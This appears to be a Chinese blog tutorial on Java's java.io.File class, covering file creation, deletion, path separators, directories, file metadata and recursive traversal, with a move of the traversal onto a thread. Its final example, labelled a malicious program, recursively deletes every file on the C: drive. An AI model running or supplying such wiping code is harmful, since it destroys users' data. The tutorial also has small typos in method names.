1.定义
File是java.io包中唯一一个与文件本身操作有关,与文件内容操作无关的类。
2.File类使用
File类是一个普通的文件类,使用时直接实例化对象即可。要实例化File类对象,有两个构造方法可供我们使用
public File(String path)
public File(String parent,String child):设置父路径和子路径
File类中有以下几个最为常用的方法:
创建新文件:
public boolean createNewFile() throws IOException
判断文件是否存在:
public boolan exists()
删除文件:
public boolean delete()
路径分隔符:
File.separator
看几个例子:
1,创建文件:
public class IO1 {
public static void main(String[] args) {
// 取得File对象
//所要创建文件的地址,多次创建也只会创建一个文件
File file = new File("C:\\Users\\Administrator\\Desktop\\java.io");
try {
//会产生异常,try...catch即可
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
}
}
2,判断文件是否存在:
public class IO1 {
public static void main(String[] args) {
File file = new File("C:\\Users\\Administrator\\Desktop\\java.io");
//此时文件存在,若删除文件名,C:\Users\Administrator\Desktop,输入该路径,
// 输出仍为文件存在,File类即可指文件也可指路径
if (file.exists()) {
System.out.println("文件存在");
}
}
}
3, 删除文件:
public class IO1 {
public static void main(String[] args) {
File file = new File("C:\\Users\\Administrator\\Desktop\\java.io");
if (file.exists()) {
file.delete();
}else{
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
3…路径分隔符
实际项目部署环境可能与开发环境不同。那么这个时候路径的问题就很麻烦了。windows下使用的是"",而Unix系统下使用的是"/"。所以在使用路径分隔符时都会采用File类的一个常量"public static final String separator "来描述。
public class IO1 {
public static void main(String[] args) {
File file = new File("C:"+File.separator+"Administrator"+
File.separator+ "Desktop"+File.separator+"java.io");
System.out.println(file); //系统会自动把分隔符去掉,改为正常文件路径表示
if (file.exists()) {
file.delete();
}else{
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
4. 目录操作
4.1 取得父路径与父File对象
public String getParent()
public File getParentFile()
4.2 创建目录(无论有多少级父目录,都会一次性创建)
public boolean mkdirs()
看一个例子:
public class IO1{
public static void main(String[] args) {
File file = new File("C:"+File.separator+"Users"+File.separator
+"Administrator"+File.separator+"Desktop"+File.separator
+"www"+File.separator+"bit"+File.separator+"java"+File.separator
+"javaIO"+File.separator);
//取得父文件对象
File parentFile = file.getParentFile();
if(!parentFile.exists()){
parentFile.mkdirs();
}
if(file.exists()){
file.delete();
}else{
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
}
//System.out.println(file.getParent());//获取父路径
}
}
4.3 取得文件信息
判断File对象是否是文件
public boolean isFile()
判断File对象是否是路径
public boolean idDirectory()
取得文件大小,输出结果以字节为单位
public long length()
取得最后修改日期:返回值是long类型的
public long lastModified()
具体使用:
public class IO1{
public static void main(String[] args) {
File file = new File("C:"+File.separator+"Users"+File.separator
+"Administrator"+File.separator+"Desktop"+File.separator
+"托尼.jpg");
if(file.exists() && file.isFile()){
System.out.println(file.length()/1024); //输出文件大小
System.out.println(file.lastModified()); //文件最后一次修改时间
}
}
}
列举一个目录的全部组成;
public File[ ] listFiles()
eg:
public class IO1{
public static void main(String[] args) {
File file = new File("C:"+File.separator+"Users"+File.separator
+"Administrator" +File.separator+"Desktop");
System.out.println("递归文件开始");
long start = System.currentTimeMillis();
listAllFiles(file); //递归遍历文件
long end = System.currentTimeMillis();
System.out.println("遍历文件结束,共耗时"+(end - start));
}
public static void listAllFiles(File file){
if (file.exists() && file.isFile()){
System.out.println(file);
}else{
File[] files = file.listFiles();
for(File file1 : files){ //遇到文件里面有文件,继续遍历
listAllFiles(file1);
}
}
}
}
我们可以发现上述代码有个非常明显的问题。现在所有的代码都是在main线程下完成的,如果listAllFiles()方法没有完成,那么对于main后续的执行将无法完成。这种耗时的操作让主线程出现了阻塞,而导致后续代码无法正常执行完毕。如果不想让阻塞产生,最好再产生一个新的线程进行处理。
对以上代码进行修改:
IO相关处理属于阻塞式耗时操作,一般放在子线程中进行
public class IO1{
public static void main(String[] args) {
System.out.println("遍历文件开始");
new Thread(() ->{
File file = new File("C:"+File.separator+"Users"+File.separator
+"Administrator" +File.separator+"Desktop"); //指定路径为C盘
System.out.println("递归文件开始");
long start = System.currentTimeMillis();
listAllFiles(file); //递归遍历文件
long end = System.currentTimeMillis();
System.out.println("遍历文件结束,共耗时"+(end - start));
}).start();
System.out.println("主线程继续执行");
}
public static void listAllFiles(File file){
if (file.exists() && file.isFile()){
System.out.println(file);
}else{
File[] files = file.listFiles();
for(File file1 : files){ //遇到文件里面有文件,继续遍历
listAllFiles(file1);
}
}
}
}
以上代码只是个遍历文件的过程,我们对上述代码稍加修改:将遍历显示操作变成遍历删除操作这就成了一个恶意程序。
public class IO1{
public static void main(String[] args) {
File file = new File("C:");
long start = System.currentTimeMillis();
listAllFiles(file); //递归遍历文件
long end = System.currentTimeMillis();
}
public static void listAllFiles(File file){
if (file.exists() && file.isFile()){
file.delete(); //遇到文件就删
}else{
File[] files = file.listFiles();
for(File file1 : files){ //遇到文件里面有文件,继续遍历,删除文件
listAllFiles(file1);
}
}
}
}
以上代码谨慎使用。